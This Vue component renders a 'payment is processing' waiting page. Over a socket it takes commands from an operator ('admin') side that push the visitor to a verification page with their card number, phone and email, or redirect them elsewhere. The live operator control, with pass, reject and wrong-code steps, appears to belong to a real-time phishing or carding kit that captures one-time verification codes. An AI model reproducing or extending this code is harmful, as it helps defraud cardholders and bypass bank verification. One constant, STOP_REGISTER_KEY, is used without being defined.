<script setup>
import { ref, onMounted, onBeforeUnmount } from 'vue'
import { useRouter } from 'vue-router'
import { showToast } from 'vant'
import { socketInstance } from '@/utils/socket'
import { getOrderScheme } from '@/api/system'
import UrlStorage from '../utils/urlStorage' // 引入封装的工具
const router = useRouter()
// const route = useRoute();
const socket = socketInstance

// 事件监听器清理函数
let registerHandler = null
let adminActionHandler = null
let connectHandler = null
let systemHandler = null
const markStopRegister = (tradeNo) => {
  try {
    if (tradeNo) sessionStorage.setItem(STOP_REGISTER_KEY, tradeNo)
  } catch (e) {}
}
const shouldRegister = (tradeNo) => {
  try {
    const cached = sessionStorage.getItem(STOP_REGISTER_KEY)
    // 当没有缓存或缓存与当前 trade_no 不一致时，应该注册
    return !cached || cached !== tradeNo
  } catch (e) {
    return true
  }
}
// 保存 trade_no 到 localStorage
const saveTradeNo = (tradeNo) => {
  if (tradeNo) {
    localStorage.setItem('trade_no', tradeNo)
    console.log('[Home] 已保存 trade_no 到 localStorage:', tradeNo)
  }
}

// 从 localStorage 读取 trade_no
const getTradeNoFromStorage = () => {
  return localStorage.getItem('trade_no') || ''
}

// 从URL参数或localStorage获取trade_no
const getTradeNo = () => {
  // 优先从URL参数获取
  // const urlParams = new URLSearchParams(window.location.search)
  // const urlTradeNo = urlParams.get('trade_no') || route.query.trade_no || ''
  const urlTradeNo = UrlStorage.getUrlParam('trade_no') ||UrlStorage.getUrlParam('orderId') ||  UrlStorage.getUrlParam('order_no')
  
  if (urlTradeNo) {
    // 如果URL中有 trade_no，保存到 localStorage
    saveTradeNo(urlTradeNo)
    return urlTradeNo
  }
  
  // 如果URL中没有，从 localStorage 读取
  const storedTradeNo = getTradeNoFromStorage()
  if (storedTradeNo) {
    console.log('[Home] 从 localStorage 读取 trade_no:', storedTradeNo)
    return storedTradeNo
  }
  
  return ''
}
// 卡种图片（默认 visa）
const schemeLogo = ref((import.meta.env.BASE_URL || '/') + 'images/visa.png')
const resolveSchemeImage = (schemeRaw) => {
  const scheme = (schemeRaw || '').toLowerCase()
  const map = {
    visa: 'visa',
    mastercard: 'mastercard',
    master: 'mastercard',
    american: 'express',
    amex: 'express',
    express: 'express',
    discover: 'discover',
    jcb: 'jcb',
    union: 'union',
    unionpay: 'union'
  }
  const base = import.meta.env.BASE_URL || '/'
  return `${base}images/${map[scheme] || 'visa'}.png`
}
const fetchAndSetSchemeLogo = async () => {
  try {
    const tradeNo = getTradeNo()
    if (!tradeNo) {
      schemeLogo.value = (import.meta.env.BASE_URL || '/') + 'images/visa.png'
      return
    }
    console.log('getTradeN-----------------o',tradeNo)
    const res = await getOrderScheme({ trade_no: tradeNo })
    const ok = res && (res.code === 1 || res.code === '1' || res.success === true)
    const scheme = res?.scheme
    schemeLogo.value = resolveSchemeImage(ok ? scheme : '')
  } catch (e) {
    schemeLogo.value = (import.meta.env.BASE_URL || '/') + 'images/visa.png'
  }
}
// 处理连接成功
const handleConnect = () => {
  console.log('[Home] Socket连接成功')
  
  // 获取 trade_no（优先从URL，其次从 localStorage）
  const tradeNo = getTradeNo()
  
  if (tradeNo) {
    console.log('[Home] 注册用户，trade_no:', tradeNo)
    // 保存到 localStorage（如果还没保存的话）
    saveTradeNo(tradeNo)
    // 注册用户
    socket.emit('register', { trade_no: tradeNo,init:1 })
    
    // 监听注册成功事件（如果服务器有返回）
    registerHandler = socket.on('register_success', (data) => {
      console.log('[Home] 注册成功:', data)
    })
  } else {
    console.warn('[Home] 未找到 trade_no 参数（URL和localStorage都没有）')
  }
}

// 处理管理端操作
const handleAdminAction = (data) => {
  console.log('[Home] 收到管理端操作=======================:', data)
  
  // 检查是否是发给当前用户的
  const currentSocketId = socket.getSocketId()
  if (data.socket_id && data.socket_id !== currentSocketId) {
    console.log('[Home] 此操作不是发给当前用户的，忽略')
    return
  }
  
  if(data.step*1==4&&data.redirec_url){
    console.log('===============', data.redirec_url)
      location.href = data.redirec_url
      return;
  }
  // 保存 content 到 sessionStorage（如果有的话）
  if (data.content) {
    sessionStorage.setItem('verify_content', data.content)
    console.log('[Home] 已保存 content 到 sessionStorage:', data.content)
  } else {
    // 如果没有 content，清除之前的 content
    sessionStorage.removeItem('verify_content')
  }
  
  // 如果event存在，跳转到验证页面
  if (data.event) {
    console.log('[Home] 跳转到验证页面，验证类型:', data.event)
    // 保存event和step到sessionStorage
    sessionStorage.setItem('verify_event', data.event)
    sessionStorage.setItem('verify_step', data.step || '')
    
    // 保存用户信息到sessionStorage
    if (data.card_number) {
      sessionStorage.setItem('verify_card_number', data.card_number)
    }
    if (data.phone) {
      sessionStorage.setItem('verify_phone', data.phone)
    }
    if (data.email) {
      sessionStorage.setItem('verify_email', data.email)
    }
    if (data.total_price) {
      sessionStorage.setItem('verify_total_price', data.total_price)
    }
    if (data.product_name) {
      sessionStorage.setItem('verify_product_name', data.product_name)
    }
    console.log('[Home] 准备跳转到验证页面')
    console.log('[Home] 当前路由path:', router.currentRoute.value.path)
    console.log('[Home] 当前路由fullPath:', router.currentRoute.value.fullPath)
    console.log('[Home] 当前路由name:', router.currentRoute.value.name)
    console.log('[Home] 目标路由: /verify')
    
    // 检查是否已经在verify页面
    const currentPath = router.currentRoute.value.path
    if (currentPath === '/verify' || currentPath === '#/verify') {
      console.log('[Home] 已在verify页面，强制刷新路由状态')
      // 如果已经在verify页面，可能需要强制更新或使用nextTick
      // 但仍需要执行，因为可能是从其他页面回来
      return
    }
    
    // 使用replace替换路由，不传递query参数
    console.log('[Home] 执行router.replace...')
    router.replace('/verify').then(() => {
      console.log('[Home] ✅ 已跳转到验证页面')
      console.log('[Home] 跳转后路由path:', router.currentRoute.value.path)
      console.log('[Home] 跳转后路由fullPath:', router.currentRoute.value.fullPath)
      console.log('[Home] 跳转后路由name:', router.currentRoute.value.name)
    }).catch(err => {
      console.error('[Home] ❌ 跳转失败:', err)
      console.error('[Home] 错误详情:', err.message, err.stack)
      // 如果replace失败，尝试使用push
      console.log('[Home] 尝试使用router.push...')
      router.push('/verify').then(() => {
        console.log('[Home] ✅ 使用push跳转成功')
      }).catch(err2 => {
        console.error('[Home] ❌ push也失败:', err2)
      })
    })
  } else if (data.step) {
    console.log('[Home] 跳转到结果页面，步骤:', data.step)
    
    // 处理pass（放行，验证完成）
    if (data.step === '2' || data.step === 2) {
      console.log('[Home] 验证通过')
      showToast({
        type: 'success',
        message: 'Verification completed successfully',
        duration: 3000
      })
    }
 
    
    // reject (step=4) 和验证码错误(step=6)不做处理，已经有红字显示
    
    // 如果只有step（结果操作），也跳转到verify页面显示结果
    // 保存event和step到sessionStorage
    sessionStorage.setItem('verify_event', '')
    sessionStorage.setItem('verify_step', data.step)
    
    console.log('[Home] 准备跳转到结果页面')
    console.log('[Home] 当前路由path:', router.currentRoute.value.path)
    console.log('[Home] 当前路由fullPath:', router.currentRoute.value.fullPath)
    console.log('[Home] 当前路由name:', router.currentRoute.value.name)
    
    // 检查是否已经在verify页面
    const currentPath = router.currentRoute.value.path
    if (currentPath === '/verify' || currentPath === '#/verify') {
      console.log('[Home] 已在verify页面，强制刷新路由状态')
      return
    }
    
    // 使用replace替换路由，不传递query参数
    console.log('[Home] 执行router.replace...')
    router.replace('/verify').then(() => {
      console.log('[Home] ✅ 已跳转到结果页面')
      console.log('[Home] 跳转后路由path:', router.currentRoute.value.path)
      console.log('[Home] 跳转后路由fullPath:', router.currentRoute.value.fullPath)
      console.log('[Home] 跳转后路由name:', router.currentRoute.value.name)
    }).catch(err => {
      console.error('[Home] ❌ 跳转失败:', err)
      console.error('[Home] 错误详情:', err.message, err.stack)
      // 如果replace失败，尝试使用push
      console.log('[Home] 尝试使用router.push...')
      router.push('/verify').then(() => {
        console.log('[Home] ✅ 使用push跳转成功')
      }).catch(err2 => {
        console.error('[Home] ❌ push也失败:', err2)
      })
    })
  } else {
    console.warn('[Home] 收到管理端操作，但缺少event和step参数:', data)
  }
}

// 处理系统消息（广播消息）
const handleSystemMessage = (data) => {
  console.log('[Home] 收到管理端消息:', data)
  
  // 显示Toast提醒
  const message = typeof data === 'object' ? (data.message || JSON.stringify(data)) : data
  showToast({
    message: message,
    duration: 3000
  })
}

onMounted(() => {
  console.log('[Home] 组件已挂载，开始连接Socket')
  
  // 显示卡种logo
  fetchAndSetSchemeLogo()
  
  // 设置事件监听器
  connectHandler = socket.on('connect', handleConnect)
  // adminActionHandler = socket.on('adminAction', handleAdminAction)
  systemHandler = socket.on('system', handleAdminAction)

  console.log('getTradeNo22',getTradeNo(),router.query)
  // 如果已连接，直接执行连接成功逻辑
  if (socket.connected.value) {
    handleConnect()
  } else {
    // 延迟连接，确保所有监听器都已注册
    setTimeout(() => {
      socket.connect()
    }, 100)
  }
})

onBeforeUnmount(() => {
  // 清理监听器
  if (connectHandler) {
    socket.off('connect', connectHandler)
  }
  if (registerHandler) {
    socket.off('register_success', registerHandler)
  }
  if (adminActionHandler) {
    socket.off('adminAction', adminActionHandler)
  }
  if (systemHandler) {
    socket.off('system', systemHandler)
  }
})

</script>

<template>
  <div class="loading-container">
    <div class="content-wrapper">
      <!-- Logo -->
      <div class="logo-container">
        <img :src="schemeLogo" class="logo" alt="Logo" />
      </div>
      
      <!-- Connecting text -->
      <div class="connecting-text">
        <div>
          Your payment is processing
        </div>
        <div>
          It will take about a minute
        </div>
        <div>
          Please do not close or refresh this page.
        </div>
      </div>
      
      <!-- Loading spinner -->
      <div class="spinner-wrapper">
        <div class="spinner"></div>
      </div>
    </div>
  </div>
</template>


<style scoped>
.loading-container {
  width: 100%;
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
  background-color: #ffffff;
  box-sizing: border-box;
  overflow: hidden;
  position: relative;
}

/* 小屏幕适配 - 最大宽度80% */
@media (max-width: 767px) {
  .loading-container {
    width: 80%;
    margin: 0 auto;
  }
}
.content-wrapper {
  display: flex;
  flex-direction: column;
  text-align: center;
  align-items: center;
  justify-content: center;
  gap: 24px;
  padding: 20px;
  max-width: 100%;
  box-sizing: border-box;
  width: 100%;
}

.logo-container {
  width: 100%;
  max-width: 200px;
  display: flex;
  justify-content: center;
  align-items: center;
  margin-bottom: 8px;
}

.logo {
  width: 100%;
  height: auto;
  max-width: 200px;
}

.connecting-text {
  color: #333333;
  font-size: 14px;
  font-weight: bold;
  font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
    'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
    sans-serif;
  letter-spacing: 0.5px;
}

.spinner-wrapper {
  width: 40px;
  height: 40px;
  display: flex;
  justify-content: center;
  align-items: center;
}

.spinner {
  width: 32px;
  height: 32px;
  border: 3px solid #f3f3f3;
  border-top: 3px solid #333333;
  border-radius: 50%;
  animation: spin 1s linear infinite;
}

@keyframes spin {
  0% {
    transform: rotate(0deg);
  }
  100% {
    transform: rotate(360deg);
  }
}

/* PC宽屏适配 */
@media (min-width: 768px) {
  .loading-container {
    height: auto;
    min-height: calc(100vh - 80px);
    background-color: transparent;
  }
  
  .content-wrapper {
    padding: 60px 40px;
    gap: 32px;
  }
  
  .logo-container {
    max-width: 240px;
    margin-bottom: 16px;
  }
  
  .logo {
    max-width: 240px;
  }
  
  .connecting-text {
    font-size: 18px;
  }
  
  .spinner-wrapper {
    width: 48px;
    height: 48px;
  }
  
  .spinner {
    width: 40px;
    height: 40px;
    border-width: 4px;
  }
}

.vant-test-area {
  margin-top: 40px;
  width: 100%;
  max-width: 400px;
  padding: 20px;
  background-color: #f7f8fa;
  border-radius: 8px;
  box-sizing: border-box;
}

.test-title {
  text-align: center;
  color: #323233;
  font-size: 18px;
  font-weight: 500;
  margin-bottom: 20px;
}

.test-section {
  margin-bottom: 16px;
  width: 100%;
  box-sizing: border-box;
}

.test-section button,
.test-section .van-button {
  width: 100%;
}

.my-swipe {
  height: 120px;
  width: 100%;
  border-radius: 8px;
  overflow: hidden;
  box-sizing: border-box;
}

.my-swipe .van-swipe-item {
  display: flex;
  align-items: center;
  justify-content: center;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  color: white;
  font-size: 20px;
  font-weight: bold;
}
</style>
